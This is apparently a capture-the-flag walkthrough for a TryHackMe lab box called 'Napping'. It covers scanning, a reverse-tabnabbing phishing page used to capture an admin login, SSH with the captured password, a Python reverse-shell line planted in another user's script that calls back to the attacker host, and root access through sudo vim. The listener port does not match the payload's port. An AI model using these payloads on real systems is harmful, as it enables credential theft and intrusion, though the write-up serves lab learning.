Napping

Room Link: https://tryhackme.com/r/room/nappingis1337

Scans

Initial scan

Kali

nmap -A $VICTIM

Longer scan

Kali

nmap -sV -sT -O -p 1-65535 $VICTIM

TCP/80 - HTTP

Find Pages

Kali

gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt

Kali

echo "hi" > test.html
python2 -m SimpleHTTPServer 82

red.htm

<!DOCTYPE html>
<html>
 <body>
  <script>
  window.opener.location = "http://$KALI:8000/redir.html";
  </script>
 </body>
</html>

redir.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="<https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css>">
    <style>
        body{ font: 14px sans-serif; }
        .wrapper{ width: 360px; padding: 20px; }
    </style>
</head>
<body>
    <div class="wrapper">
        <h2>Admin Login</h2>
        <p>Please fill in your credentials to login.</p>
<form action="/admin/login.php" method="post">
            <div class="form-group">
                <label>Username</label>
                <input type="text" name="username" class="form-control " value="">
                <span class="invalid-feedback"></span>
            </div>    
            <div class="form-group">
                <label>Password</label>
                <input type="password" name="password" class="form-control ">
                <span class="invalid-feedback"></span>
            </div>
            <div class="form-group">
                <input type="submit" class="btn btn-primary" value="Login">
            </div>
            <br>
        </form>
    </div>
</body>
</html>

Kali

wireshark

For victim to download our red.html file

Kali

python2 -m SimpleHTTPServer 82

To host our fake login page

Kali

python2 -m SimpleHTTPServer 8000

Wireshark filter

tcp.port==8000 && ip.dst == $VICTIM

TCP/22 - SSH

Kali

ssh daniel@$VICTIM
Password: C@ughtm3napping123

Lateral Movement

there is another user on this box. In their home directory they have a python script that looks like it checks the website. I added the following to the code to get a reverse shell.

query.py

import os,pty,socket;s=socket.socket();s.connect(("$KALI",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")

Kali

nc -lvnp 1338

Full TTY

script -qc /bin/bash /dev/null
ctrl + Z
stty raw -echo;fg

Privilege Escalation

Exploit: https://gtfobins.github.io/gtfobins/vim/

Victim(adrian)

sudo -l

Victim(adrian)

sudo vim -c ':!/bin/sh'
id
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